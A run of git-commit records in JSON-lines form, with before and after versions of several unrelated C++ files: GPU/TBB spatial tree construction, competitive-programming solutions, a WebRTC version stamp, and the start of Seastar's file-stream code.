tbb::task_scheduler_init init(threads);\n tbb::parallel_sort(lqt.nodes, lqt.nodes + lqt.length);\n return lqt;\n}\n\n\/\/\/ does not block for GPU memory. Will fail, if GPU memory is insufficient.\nlinear_quadtree_unified lqt_create_heterogeneous(lkt_point* points, size_t len, \n ord_t xstart, ord_t xend, \n ord_t ystart, ord_t yend,\n size_t* depth, const size_t threads) {\n return tbb_sortify_unified(lqt_nodify_cuda_unified(points, len, xstart, xend, ystart, yend, depth), threads);\n}\n\n\/\/\/ \\param threads the number of threads to use when sorting. ONLY used in the 'sort' part of the algorithm\nrtree cuda_create_rtree_heterogeneously_mergesort(rtree_point* points, const size_t len, const size_t threads) {\n rtree_leaf* leaves = cuda_create_leaves_together(parallel_mergesort(points, points + len, threads), len);\n const size_t leaves_len = DIV_CEIL(len, RTREE_NODE_SIZE);\n\n rtree_node* previous_level = (rtree_node*) leaves;\n size_t previous_len = leaves_len;\n size_t depth = 1; \/\/ leaf level is 0\n while(previous_len > RTREE_NODE_SIZE) {\n previous_level = cuda_create_level(previous_level, previous_len);\n previous_len = DIV_CEIL(previous_len, RTREE_NODE_SIZE);\n ++depth;\n }\n\n rtree_node* root = (rtree_node*) malloc(sizeof(rtree_node));\n init_boundary(&root->bounding_box);\n root->num = previous_len;\n root->children = previous_level;\n for(size_t i = 0, end = previous_len; i != end; ++i)\n update_boundary(&root->bounding_box, &root->children[i].bounding_box);\n ++depth;\n\n rtree tree = {depth, root};\n return tree;\n}\n*\/\n\/*\n\/\/\/ SISD sort via single CPU core (for benchmarks)\nrtree cuda_create_rtree_sisd(rtree_point* points, const size_t len) {\n std::sort(points, points + len);\n rtree_leaf* leaves = cuda_create_leaves_together(points, len);\n const size_t leaves_len = DIV_CEIL(len, RTREE_NODE_SIZE);\n\n rtree_node* previous_level = (rtree_node*) leaves;\n size_t previous_len = leaves_len;\n size_t depth = 1; \/\/ leaf level is 0\n while(previous_len > RTREE_NODE_SIZE) {\n previous_level = cuda_create_level(previous_level, previous_len);\n previous_len = DIV_CEIL(previous_len, RTREE_NODE_SIZE);\n ++depth;\n }\n\np rtree_node* root = (rtree_node*) malloc(sizeof(rtree_node));\n init_boundary(&root->bounding_box);\n root->num = previous_len;\n root->children = previous_level;\n for(size_t i = 0, end = previous_len; i != end; ++i)\n update_boundary(&root->bounding_box, &root->children[i].bounding_box);\n ++depth;\n\n rtree tree = {depth, root};\n return tree;\n}\n*\/\n<commit_msg>removed commented code<commit_after>\/\/\/ this file exists to remove C++11 from CUDA, to support outdated nvcc compilers\n#include \"lkt.h\"\n#include <time.h>\n#include <stdio.h>\n#include <stdlib.h> \n#include <assert.h>\n#include <math.h>\n\/\/#include \"mergesort.hh\"\n#include \"tbb\/tbb.h\"\n#include \"quicksort.hh\"\n\n\/*\nstd::ostream& operator<<(std::ostream& s, const lkt_point& p) {\n s << \"{\" << p.x << \", \" << p.y << \", \" << p.key << \"}\";\n return s;\n}\n*\/\n\n\/\/\/ \\todo change these to C++ and use templates. Or Macros. Something.\n\n\/\/\/ finds a heuristic value, using the given sample rate, splitting on the x-axis\nstatic ord_t lkt_find_splitpoint_x(lkt_point* begin, lkt_point* end, size_t sample_rate) {\n double average = 0.0;\n size_t samples_taken = 0;\n sample_rate = (end - begin) \/ sample_rate + 1;\n for(lkt_point* i = begin; i < end; i += sample_rate, ++samples_taken) {\n average += i->x;\n }\n average \/= samples_taken;\n return average;\n}\n\n\/\/\/ finds a heuristic value, using the given sample rate, splitting on the y-axis\nstatic ord_t lkt_find_splitpoint_y(lkt_point* begin, lkt_point* end, size_t sample_rate) {\n double average = 0.0;\n size_t samples_taken = 0;\n sample_rate = (end - begin) \/ sample_rate + 1;\n for(lkt_point* i = begin; i < end; i += sample_rate, ++samples_taken) {\n average += i->y;\n }\n average \/= samples_taken;\n return average;\n}\n\n\/\/\/ DO NOT change this to use the XOR method. It is slow.\nstatic inline void lkt_swap(lkt_point* a, lkt_point* b) {\n lkt_point old_a = *a;\n *a = *b;\n *b = old_a;\n}\n\nstatic inline size_t get_heap_child_l(const size_t i) {return i * 2 + 1;}\nstatic inline size_t get_heap_child_r(const size_t i) {return i * 2 + 2;}\nstatic inline size_t get_heap_parent(const size_t i) {return (i - 1) \/ 2;}\n\nstatic bool point_comparator_x(const lkt_point& a, const lkt_point& b) {\n return a.x < b.x;\n}\n\nstatic bool point_comparator_y(const lkt_point& a, const lkt_point& b) {\n return a.y < b.y;\n}\n\n\/\/\/ \\param sample_rate the rate to sample when finding the split point\nstatic void lkt_sort_parallel(lkt_point* points, size_t len,\n size_t sample_rate, fixlentree<lkt_split_point>& splitpoints, index_t splitpoint_parent, bool splitpoint_thisisleft,\n bool xaxis, \n const unsigned short current_depth, const unsigned short max_depth) {\n\n const size_t PARALLEL_QUICKSORT_THREADS = 8;\n\/*\n fprintf(stderr, \"lkt_sort called for splitpoint %f\\n\", splitpoint);\n fprintf(stderr, \"lkt_sort called for points %p, len %lu\\n\", (void*)points, len);\n fprintf(stderr, \"lkt_sort called for splitpoint_i %lu\\n\", splitpoint_i);\n fprintf(stderr, \"lkt_sort next splitpoint_is: %lu, %lu\\n\", get_heap_child_l(splitpoint_i), get_heap_child_r(splitpoint_i));\n\n fprintf(stderr, \"sort at splitpoint_i = %lu\\n\", splitpoint_i);\n fflush(stdout);\n*\/\n if(len < 2 || current_depth == max_depth)\n return;\n\n \/\/ splitpoint is the value in the points array, by which the points will be partitioned\n \/\/ splitpoint_val is the (local) index in the points array, before which values are less than splitpoint.\n\n typedef ord_t (*splitpoint_finder_func_t)(lkt_point* begin, lkt_point* end, size_t sample_rate);\n typedef bool (*comparator_func_t)(const lkt_point&, const lkt_point&);\n\n\n \/\/ avoids conditionals.\n const splitpoint_finder_func_t find_split_func = (splitpoint_finder_func_t)((intptr_t)lkt_find_splitpoint_x * xaxis + (intptr_t)lkt_find_splitpoint_y * !xaxis);\n const comparator_func_t comparator_func = (comparator_func_t)((intptr_t)point_comparator_x * xaxis + (intptr_t)point_comparator_y * !xaxis);\n\n const ord_t splitpoint = find_split_func(points, points + len, sample_rate);\n const lkt_point splitpoint_point = {splitpoint, splitpoint, 0}; \/\/ cheaper to just assign both, than a conditional\n\n\/\/ cout << \"debug len:\" << len << \" splitpoint: \" << splitpoint << endl;\n\n\/\/ cout << \"debug partition started\" << endl;\n const uint_least64_t splitpoint_val = parallel_quicksort_partition(points, points + len, splitpoint_point, PARALLEL_QUICKSORT_THREADS, comparator_func); \/\/\/< \\todo fix last (?) block bug\n\/\/ cout << \"debug partition finished\" << endl;\n\n const lkt_split_point lkt_splitpoint = {splitpoint, splitpoint_val};\n\n const index_t splitpoint_next_parent = splitpoints.insert(splitpoint_parent, splitpoint_thisisleft, lkt_splitpoint);\n\n if(splitpoint_next_parent == splitpoints.tree_end)\n return;\n\n if(splitpoint_val == 0 || splitpoint_val == len - 1)\n return;\n\n\/\/ cout << \"splitpoint \" << (xaxis ? \"x\" : \"y\") << \" val: \" << splitpoint << \" location: \" << splitpoint_val << endl;\n\n\/*\nlkt_sort_parallel(points, splitpoint_val, sample_rate, \n splitpoints, splitpoint_next_parent, true,\n !xaxis, current_depth + 1, max_depth);\nlkt_sort_parallel(points + splitpoint_val, len - splitpoint_val, sample_rate, \n splitpoints, splitpoint_next_parent, false,\n !xaxis, current_depth + 1, max_depth);\n*\/\n\n tbb::parallel_invoke([&]() {lkt_sort_parallel(points, splitpoint_val, sample_rate, \n splitpoints, splitpoint_next_parent, true,\n !xaxis, current_depth + 1, max_depth);},\n [&]() {lkt_sort_parallel(points + splitpoint_val, len - splitpoint_val, sample_rate, \n splitpoints, splitpoint_next_parent, false,\n !xaxis, current_depth + 1, max_depth);});\n\n}\n\n\/\/\/ returns a heap\nlinear_kdtree lkt_create_parallel(lkt_point* points, size_t len) {\n\n const size_t PARALLEL_QUICKSORT_THREADS = 8;\n\n fprintf(stderr, \"lkt_create called for points %p, true end %p \\n\", (void*)points, (void*)(points + len));\n\n if(sizeof(mortoncode_t) != 4) {\n fprintf(stderr, \"mortoncode_t NOT 32 BITS! ERROR!ERROR!ERROR!\"); \/\/\/ \\todo fix to be static_assert\n exit(1);\n }\n\n const unsigned short max_depth = sizeof(mortoncode_t) * CHAR_BIT;\n\n linear_kdtree tree;\n tree.points = points;\n tree.len = len;\n\n\/\/ fprintf(stderr, \"lkt_create depth %lu\\n\", (size_t)depth);\n\/\/ fprintf(stderr, \"lkt_create split_points_len %lu\\n\", (size_t)tree.split_points_len);\n\/\/ fprintf(stderr, \"lkt_create newing split_points size %lu\\n\", sizeof(lkt_split_point) * tree.split_points_len);\n\/\/ fprintf(stderr, \"lkt_create newed split_points\\n\");\n\n const size_t sample_rate = 100;\n\n\/\/ fprintf(stderr, \"lkt_create sorting\\n\");\n\n tree.split_points_len = len;\n\n fixlentree<lkt_split_point> splitpoints(tree.split_points_len); \/\/\/< \\todo scope\n\n const ord_t splitpoint = lkt_find_splitpoint_x(points, points + len, sample_rate);\n const lkt_point splitpoint_point = {splitpoint, splitpoint, 0}; \/\/ cheaper to just assign both, than a conditional\n const uint_least64_t splitpoint_val = parallel_quicksort_partition(points, &points[len], splitpoint_point, PARALLEL_QUICKSORT_THREADS, point_comparator_x);\n\n const lkt_split_point lkt_splitpoint = {splitpoint, splitpoint_val};\n const index_t root = splitpoints.insert_root(lkt_splitpoint);\n\n\/\/ cout << \"first splitpoint x val: \" << splitpoint << \" location: \" << splitpoint_val << endl;\n \n cout << \"debug 0 parallel invoking\" << endl;\n\n tbb::parallel_invoke([&]() {lkt_sort_parallel(points, splitpoint_val, sample_rate, \n splitpoints, root, true,\n false, 1, max_depth);},\n [&]() {lkt_sort_parallel(points + splitpoint_val, len - splitpoint_val, sample_rate, \n splitpoints, root, false,\n false, 1, max_depth);});\n\n\/*\n lkt_sort_parallel(points, splitpoint_val, sample_rate, \n splitpoints, root, true,\n false, 1, max_depth);\n lkt_sort_parallel(points + splitpoint_val, len - splitpoint_val, sample_rate, \n splitpoints, root, false,\n false, 1, max_depth);\n*\/\n\n cout << \"debug 1 splitpoints releasing\" << endl;\n\n tree.split_points = splitpoints.release();\n\n fprintf(stderr, \"lkt_create coding\\n\");\n\n\n tree.morton_codes = lkt_create_mortoncodes_parallel(tree.points, tree.len, tree.split_points);\n\n\/\/ fprintf(stderr, \"lkt_create returning\\n\");\n return tree;\n}\n<|endoftext|>"} {"text":"<commit_before><commit_msg>stop uninitialized memory leaking into resource files.<commit_after><|endoftext|>"} {"text":"<commit_before>\/\/ Time: O(max(r, c) * wlogw)\n\/\/ Space: O(w^2)\n\nclass Solution {\npublic:\n int shortestDistance(vector<vector<int>>& maze, vector<int>& start, vector<int>& destination) {\n static const vector<vector<int>> dirs = {{-1, 0}, {0, 1}, {0, -1}, {1, 0}};\n priority_queue<node, vector<node>, greater<node>> heap;\n unordered_set<int> visited;\n heap.emplace(0, start);\n\n while (!heap.empty()) {\n int dist = 0;\n vector<int> node;\n tie(dist, node) = heap.top();\n heap.pop();\n if (visited.count(hash(maze, node))) {\n continue;\n }\n if (node[0] == destination[0] &&\n node[1] == destination[1]) {\n return dist;\n }\n\n visited.emplace(hash(maze, node));\n for (const auto& dir : dirs) {\n int neighbor_dist = 0;\n vector<int> neighbor;\n tie(neighbor_dist, neighbor) = findNeighbor(maze, node, dir);\n heap.emplace(dist + neighbor_dist, neighbor);\n }\n }\n\n return -1;\n }\n\nprivate:\n using node = pair<int, vector<int>>;\n\n node findNeighbor(const vector<vector<int>>& maze,\n const vector<int>& node, const vector<int>& dir) {\n vector<int> cur_node = node;\n int dist = 0;\n \n while (0 <= cur_node[0] + dir[0] && cur_node[0] + dir[0] < maze.size() &&\n 0 <= cur_node[1] + dir[1] && cur_node[1] + dir[1] < maze[0].size() &&\n !maze[cur_node[0] + dir[0]][cur_node[1] + dir[1]]) {\n cur_node[0] += dir[0];\n cur_node[1] += dir[1];\n ++dist;\n }\n return {dist, cur_node};\n }\n \n int hash(const vector<vector<int>>& maze, const vector<int>& node) {\n return node[0] * maze[0].size() + node[1];\n }\n};\n<commit_msg>Update the-maze-ii.cpp<commit_after>\/\/ Time: O(max(r, c) * wlogw)\n\/\/ Space: O(w)\n\nclass Solution {\npublic:\n int shortestDistance(vector<vector<int>>& maze, vector<int>& start, vector<int>& destination) {\n static const vector<vector<int>> dirs = {{-1, 0}, {0, 1}, {0, -1}, {1, 0}};\n priority_queue<node, vector<node>, greater<node>> heap;\n unordered_set<int> visited;\n heap.emplace(0, start);\n\n while (!heap.empty()) {\n int dist = 0;\n vector<int> node;\n tie(dist, node) = heap.top();\n heap.pop();\n if (visited.count(hash(maze, node))) {\n continue;\n }\n if (node[0] == destination[0] &&\n node[1] == destination[1]) {\n return dist;\n }\n\n visited.emplace(hash(maze, node));\n for (const auto& dir : dirs) {\n int neighbor_dist = 0;\n vector<int> neighbor;\n tie(neighbor_dist, neighbor) = findNeighbor(maze, node, dir);\n heap.emplace(dist + neighbor_dist, neighbor);\n }\n }\n\n return -1;\n }\n\nprivate:\n using node = pair<int, vector<int>>;\n\n node findNeighbor(const vector<vector<int>>& maze,\n const vector<int>& node, const vector<int>& dir) {\n vector<int> cur_node = node;\n int dist = 0;\n \n while (0 <= cur_node[0] + dir[0] && cur_node[0] + dir[0] < maze.size() &&\n 0 <= cur_node[1] + dir[1] && cur_node[1] + dir[1] < maze[0].size() &&\n !maze[cur_node[0] + dir[0]][cur_node[1] + dir[1]]) {\n cur_node[0] += dir[0];\n cur_node[1] += dir[1];\n ++dist;\n }\n return {dist, cur_node};\n }\n \n int hash(const vector<vector<int>>& maze, const vector<int>& node) {\n return node[0] * maze[0].size() + node[1];\n }\n};\n<|endoftext|>"} {"text":"<commit_before>#include <bits\/stdc++.h>\n#define MAXN 100002\n#define X first\n#define Y second\n#define PB push_back\n#define MP make_pair\n#define INF -1\nusing namespace std;\ntypedef pair<int, int> P;\n\nint N, M, K;\nvector<P> E[MAXN];\nvector<int> S;\nbool isStorage[MAXN];\nint ans = -1;\n\nint main() {\n\tint i, j, u, v, l, n;\n\n\tcin >> N >> M >> K;\n\n\tfor (i = 0; i < M; ++i) {\n\t\tcin >> u >> v >> l;\n\t\tE[u].PB(MP(v, l));\n\t\tE[v].PB(MP(u, l));\n\t}\n\n\tfor (i = 0; i < K; ++i) {\n\t\tcin >> u;\n\n\t\tS.PB(u);\n\t\tisStorage[u] = true;\n\t}\n\n\tfor (i = 0; i < K; ++i) {\n\t\tn = E[S[i]].size();\n\n\t\tfor (j = 0; j < n; ++j) {\n\t\t\tif (!isStorage[E[S[i]][j].X]) {\n\t\t\t\tif (ans == INF) {\n\t\t\t\t\tans = E[S[i]][j].Y;\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\tans = min(ans, E[S[i]][j].Y);\n\t\t\t}\n\t\t}\n\t}\n\n\tcout << ans << \"\\n\";\n\treturn 0;\n}\n<commit_msg>Codeforces - 707-B - Bakery - SOLVED - UPDATED - BEST SOLUTION<commit_after>#include <bits\/stdc++.h>\n#define optimize_ios ios_base::sync_with_stdio(0);cin.tie(0);\n#define MAXN 100002\n#define X first\n#define Y second\n#define PB push_back\n#define MP make_pair\n#define INF -1\nusing namespace std;\ntypedef pair<int, int> P;\ntypedef pair<P, int> T;\n\nint N, M, K;\nT E[MAXN];\nbool isStorage[MAXN];\nint ans = -1;\n\nint main() {\n\toptimize_ios\n\n\tint i, j, u, v, l, n;\n\n\tcin >> N >> M >> K;\n\n\tfor (i = 0; i < M; ++i) {\n\t\tcin >> u >> v >> l;\n\t\tE[i].X.X = u;\n\t\tE[i].X.Y = v;\n\t\tE[i].Y = l;\n\t}\n\n\tfor (i = 0; i < K; ++i) {\n\t\tcin >> u;\n\t\tisStorage[u] = true;\n\t}\n\n\tfor (i = 0; i < M; ++i) {\n\t\tif (isStorage[E[i].X.X] ^ isStorage[E[i].X.Y]) {\n\t\t\t\tif (ans == INF) {\n\t\t\t\t\tans = E[i].Y;\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\tans = min(ans, E[i].Y);\n\t\t}\n\t}\n\n\tcout << ans << \"\\n\";\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2020 The WebRTC project authors. All Rights Reserved.\n *\n * Use of this source code is governed by a BSD-style license\n * that can be found in the LICENSE file in the root of the source\n * tree. An additional intellectual property rights grant can be found\n * in the file PATENTS. All contributing project authors may\n * be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"call\/version.h\"\n\nnamespace webrtc {\n\n\/\/ The timestamp is always in UTC.\nconst char* const kSourceTimestamp = \"WebRTC source stamp 2021-01-05T04:04:14\";\n\nvoid LoadWebRTCVersionInRegister() {\n \/\/ Using volatile to instruct the compiler to not optimize `p` away even\n \/\/ if it looks unused.\n const char* volatile p = kSourceTimestamp;\n static_cast<void>(p);\n}\n\n} \/\/ namespace webrtc\n<commit_msg>Update WebRTC code version (2021-01-06T04:02:29).<commit_after>\/*\n * Copyright (c) 2020 The WebRTC project authors. All Rights Reserved.\n *\n * Use of this source code is governed by a BSD-style license\n * that can be found in the LICENSE file in the root of the source\n * tree. An additional intellectual property rights grant can be found\n * in the file PATENTS. All contributing project authors may\n * be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"call\/version.h\"\n\nnamespace webrtc {\n\n\/\/ The timestamp is always in UTC.\nconst char* const kSourceTimestamp = \"WebRTC source stamp 2021-01-06T04:02:29\";\n\nvoid LoadWebRTCVersionInRegister() {\n \/\/ Using volatile to instruct the compiler to not optimize `p` away even\n \/\/ if it looks unused.\n const char* volatile p = kSourceTimestamp;\n static_cast<void>(p);\n}\n\n} \/\/ namespace webrtc\n<|endoftext|>"} {"text":"<commit_before>\/*\n * This file is open source software, licensed to you under the terms\n * of the Apache License, Version 2.0 (the \"License\"). See the NOTICE file\n * distributed with this work for additional information regarding copyright\n * ownership. You may not use this file except in compliance with the License.\n *\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\/*\n * Copyright (C) 2015 Cloudius Systems, Ltd.\n *\/\n\n#include \"fstream.hh\"\n#include \"align.hh\"\n#include \"circular_buffer.hh\"\n#include \"semaphore.hh\"\n#include \"reactor.hh\"\n#include <malloc.h>\n#include <string.h>\n\nclass file_data_source_impl : public data_source_impl {\n file _file;\n file_input_stream_options _options;\n uint64_t _pos;\n uint64_t _remain;\n circular_buffer<future<temporary_buffer<char>>> _read_buffers;\n unsigned _reads_in_progress = 0;\n std::experimental::optional<promise<>> _done;\npublic:\n file_data_source_impl(file f, uint64_t offset, uint64_t len, file_input_stream_options options)\n : _file(std::move(f)), _options(options), _pos(offset), _remain(len) {\n \/\/ prevent wraparounds\n _remain = std::min(std::numeric_limits<uint64_t>::max() - _pos, _remain);\n }\n virtual future<temporary_buffer<char>> get() override {\n if (_read_buffers.empty()) {\n issue_read_aheads(1);\n }\n auto ret = std::move(_read_buffers.front());\n _read_buffers.pop_front();\n return ret;\n }\n virtual future<> close() {\n _done.emplace();\n if (!_reads_in_progress) {\n _done->set_value();\n }\n return _done->get_future().then([this] {\n for (auto&& c : _read_buffers) {\n c.ignore_ready_future();\n }\n });\n }\nprivate:\n void issue_read_aheads(unsigned min_ra = 0) {\n if (_done) {\n return;\n }\n auto ra = std::max(min_ra, _options.read_ahead);\n _read_buffers.reserve(ra); \/\/ prevent push_back() failure\n while (_read_buffers.size() < ra) {\n if (!_remain) {\n if (_read_buffers.size() >= min_ra) {\n return;\n }\n _read_buffers.push_back(make_ready_future<temporary_buffer<char>>());\n continue;\n }\n ++_reads_in_progress;\n \/\/ if _pos is not dma-aligned, we'll get a short read. Account for that.\n \/\/ Also avoid reading beyond _remain.\n uint64_t align = _file.disk_read_dma_alignment();\n auto start = align_down(_pos, align);\n auto end = align_up(std::min(start + _options.buffer_size, _pos + _remain), align);\n auto len = end - start;\n _read_buffers.push_back(futurize<future<temporary_buffer<char>>>::apply([&] {\n return _file.dma_read_bulk<char>(start, len, _options.io_priority_class);\n }).then_wrapped(\n [this, start, end, pos = _pos, remain = _remain] (future<temporary_buffer<char>> ret) {\n issue_read_aheads();\n --_reads_in_progress;\n if (_done && !_reads_in_progress) {\n _done->set_value();\n }\n if ((pos == start && end <= pos + remain) || ret.failed()) {\n \/\/ no games needed\n return ret;\n } else {\n \/\/ first or last buffer, need trimming\n auto tmp = ret.get0();\n auto real_end = start + tmp.size();\n if (real_end <= pos) {\n return make_ready_future<temporary_buffer<char>>();\n }\n if (real_end > pos + remain) {\n tmp.trim(pos + remain - start);\n }\n if (start < pos) {\n tmp.trim_front(pos - start);\n }\n return make_ready_future<temporary_buffer<char>>(std::move(tmp));\n }\n }));\n auto old_pos = _pos;\n _pos = end;\n _remain = std::max(_pos, old_pos + _remain) - _pos;\n };\n }\n};\n\nclass file_data_source : public data_source {\npublic:\n file_data_source(file f, uint64_t offset, uint64_t len, file_input_stream_options options)\n : data_source(std::make_unique<file_data_source_impl>(\n std::move(f), offset, len, options)) {}\n};\n\n\ninput_stream<char> make_file_input_stream(\n file f, uint64_t offset, uint64_t len, file_input_stream_options options) {\n return input_stream<char>(file_data_source(std::move(f), offset, len, std::move(options)));\n}\n\ninput_stream<char> make_file_input_stream(\n file f, uint64_t offset, file_input_stream_options options) {\n return make_file_input_stream(std::move(f), offset, std::numeric_limits<uint64_t>::max(), std::move(options));\n}\n\ninput_stream<char> make_file_input_stream(\n file f, file_input_stream_options options) {\n return make_file_input_stream(std::move(f), 0, std::move(options));\n}\n\n\nclass file_data_sink_impl : public data_sink_impl {\n file _file;\n file_output_stream_options _options;\n uint64_t _pos = 0;\n semaphore _write_behind_sem = { _options.write_behind };\n future<> _background_writes_done = make_ready_future<>();\n bool _failed = false;\npublic:\n file_data_sink_impl(file f, file_output_stream_options options)\n : _file(std::move(f)), _options(options) {}\n future<> put(net::packet data) { abort(); }\n virtual temporary_buffer<char> allocate_buffer(size_t size) override {\n return temporary_buffer<char>::aligned(_file.memory_dma_alignment(), size);\n }\n virtual future<> put(temporary_buffer<char> buf) override {\n uint64_t pos = _pos;\n _pos += buf.size();\n if (!_options.write_behind) {\n return do_put(pos, std::move(buf));\n }\n \/\/ Write behind strategy:\n \/\/\n \/\/ 1. Issue N writes in parallel, using a semaphore to limit to N\n \/\/ 2. Collect results in _background_writes_done, merging exception futures\n \/\/ 3. If we've already seen a failure, don't issue more writes.\n return _write_behind_sem.wait().then([this, pos, buf = std::move(buf)] () mutable {\n if (_failed) {\n _write_behind_sem.signal();\n auto ret = std::move(_background_writes_done);\n _background_writes_done = make_ready_future<>();\n return ret;\n }\n auto this_write_done = do_put(pos, std::move(buf)).finally([this] {\n _write_behind_sem.signal();\n });\n _background_writes_done = when_all(std::move(_background_writes_done), std::move(this_write_done))\n .then([this] (std::tuple<future<>, future<>> possible_errors) {\n \/\/ merge the two errors, preferring the first\n auto& e1 = std::get<0>(possible_errors);\n auto& e2 = std::get<1>(possible_errors);\n if (e1.failed()) {\n e2.ignore_ready_future();\n return std::move(e1);\n } else {\n if (e2.failed()) {\n _failed = true;\n }\n return std::move(e2);\n }\n });\n return make_ready_future<>();\n });\n }\npublic:\n future<> do_put(uint64_t pos, temporary_buffer<char> buf) noexcept {\n try {\n \/\/ put() must usually be of chunks multiple of file::dma_alignment.\n \/\/ Only the last part can have an unaligned length. If put() was\n \/\/ called again with an unaligned pos, we have a bug in the caller.\n assert(!(pos & (_file.disk_write_dma_alignment() - 1)));\n bool truncate = false;\n auto p = static_cast<const char*>(buf.get());\n size_t buf_size = buf.size();\n\n if ((buf.size() & (_file.disk_write_dma_alignment() - 1)) != 0) {\n \/\/ If buf size isn't aligned, copy its content into a new aligned buf.\n \/\/ This should only happen when the user calls output_stream::flush().\n auto tmp = allocate_buffer(align_up(buf.size(), _file.disk_write_dma_alignment()));\n ::memcpy(tmp.get_write(), buf.get(), buf.size());\n buf = std::move(tmp);\n p = buf.get();\n buf_size = buf.size();\n truncate = true;\n }\n\n return _file.dma_write(pos, p, buf_size, _options.io_priority_class).then(\n [this, buf = std::move(buf), truncate] (size_t size) {\n if (truncate) {\n return _file.truncate(_pos);\n }\n return make_ready_future<>();\n });\n } catch (...) {\n return make_exception_future<>(std::current_exception());\n }\n }\n future<> wait() {\n return _write_behind_sem.wait(_options.write_behind).then([this] {\n return _background_writes_done.then([this] {\n \/\/ restore to pristine state; for flush() + close() sequence\n \/\/ (we allow either flush, or close, or both)\n _write_behind_sem.signal(_options.write_behind);\n _background_writes_done = make_ready_future<>();\n });\n });\n }\npublic:\n virtual future<> flush() override {\n return wait().then([this] {\n return _file.flush();\n });\n }\n virtual future<> close() {\n return wait().then([this] {\n return _file.close();\n });\n }\n};\n\nclass file_data_sink : public data_sink {\npublic:\n file_data_sink(file f, file_output_stream_options options)\n : data_sink(std::make_unique<file_data_sink_impl>(\n std::move(f), options)) {}\n};\n\noutput_stream<char> make_file_output_stream(file f, size_t buffer_size) {\n file_output_stream_options options;\n options.buffer_size = buffer_size;\n return make_file_output_stream(std::move(f), options);\n}\n\noutput_stream<char> make_file_output_stream(file f, file_output_stream_options options) {\n return output_stream<char>(file_data_sink(std::move(f), options), options.buffer_size, true);\n}\n\n<commit_msg>file_data_sink_impl: Fix hang in close()<commit_after>\/*\n * This file is open source software, licensed to you under the terms\n * of the Apache License, Version 2.0 (the \"License\"). See the NOTICE file\n * distributed with this work for additional information regarding copyright\n * ownership. You may not use this file except in compliance with the License.\n *\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\/*\n * Copyright (C) 2015 Cloudius Systems, Ltd.\n *\/\n\n#include \"fstream.hh\"\n#include \"align.hh\"\n#include \"circular_buffer.hh\"\n#include \"semaphore.hh\"\n#include \"reactor.hh\"\n#include <malloc.h>\n#include <string.h>\n\nclass file_data_source_impl : public data_source_impl {\n file _file;\n file_input_stream_options _options;\n uint64_t _pos;\n uint64_t _remain;\n circular_buffer<future<temporary_buffer<char>>> _read_buffers;\n unsigned _reads_in_progress = 0;\n std::experimental::optional<promise<>> _done;\npublic:\n file_data_source_impl(file f, uint64_t offset, uint64_t len, file_input_stream_options options)\n : _file(std::move(f)), _options(options), _pos(offset), _remain(len) {\n \/\/ prevent wraparounds\n _remain = std::min(std::numeric_limits<uint64_t>::max() - _pos, _remain);\n }\n virtual future<temporary_buffer<char>> get() override {\n if (_read_buffers.empty()) {\n issue_read_aheads(1);\n }\n auto ret = std::move(_read_buffers.front());\n _read_buffers.pop_front();\n return ret;\n }\n virtual future<> close() {\n _done.emplace();\n if (!_reads_in_progress) {\n _done->set_value();\n }\n return _done->get_future().then([this] {\n for (auto&& c : _read_buffers) {\n c.ignore_ready_future();\n }\n });\n }\nprivate:\n void issue_read_aheads(unsigned min_ra = 0) {\n if (_done) {\n return;\n }\n auto ra = std::max(min_ra, _options.read_ahead);\n _read_buffers.reserve(ra); \/\/ prevent push_back() failure\n while (_read_buffers.size() < ra) {\n if (!_remain) {\n if (_read_buffers.size() >= min_ra) {\n return;\n }\n _read_buffers.push_back(make_ready_future<temporary_buffer<char>>());\n continue;\n }\n ++_reads_in_progress;\n \/\/ if _pos is not dma-aligned, we'll get a short read. Account for that.\n \/\/ Also avoid reading beyond _remain.\n uint64_t align = _file.disk_read_dma_alignment();\n auto start = align_down(_pos, align);\n auto end = align_up(std::min(start + _options.buffer_size, _pos + _remain), align);\n auto len = end - start;\n _read_buffers.push_back(futurize<future<temporary_buffer<char>>>::apply([&] {\n return _file.dma_read_bulk<char>(start, len, _options.io_priority_class);\n }).then_wrapped(\n [this, start, end, pos = _pos, remain = _remain] (future<temporary_buffer<char>> ret) {\n issue_read_aheads();\n --_reads_in_progress;\n if (_done && !_reads_in_progress) {\n _done->set_value();\n }\n if ((pos == start && end <= pos + remain) || ret.failed()) {\n \/\/ no games needed\n return ret;\n } else {\n \/\/ first or last buffer, need trimming\n auto tmp = ret.get0();\n auto real_end = start + tmp.size();\n if (real_end <= pos) {\n return make_ready_future<temporary_buffer<char>>();\n }\n if (real_end > pos + remain) {\n tmp.trim(pos + remain - start);\n }\n if (start < pos) {\n tmp.trim_front(pos - start);\n }\n return make_ready_future<temporary_buffer<char>>(std::move(tmp));\n }\n }));\n auto old_pos = _pos;\n _pos = end;\n _remain = std::max(_pos, old_pos + _remain) - _pos;\n };\n }\n};\n\nclass file_data_source : public data_source {\npublic:\n file_data_source(file f, uint64_t offset, uint64_t len, file_input_stream_options options)\n : data_source(std::make_unique<file_data_source_impl>(\n std::move(f), offset, len, options)) {}\n};\n\n\ninput_stream<char> make_file_input_stream(\n file f, uint64_t offset, uint64_t len, file_input_stream_options options) {\n return input_stream<char>(file_data_source(std::move(f), offset, len, std::move(options)));\n}\n\ninput_stream<char> make_file_input_stream(\n file f, uint64_t offset, file_input_stream_options options) {\n return make_file_input_stream(std::move(f), offset, std::numeric_limits<uint64_t>::max(), std::move(options));\n}\n\ninput_stream<char> make_file_input_stream(\n file f, file_input_stream_options options) {\n return make_file_input_stream(std::move(f), 0, std::move(options));\n}\n\n\nclass file_data_sink_impl : public data_sink_impl {\n file _file;\n file_output_stream_options _options;\n 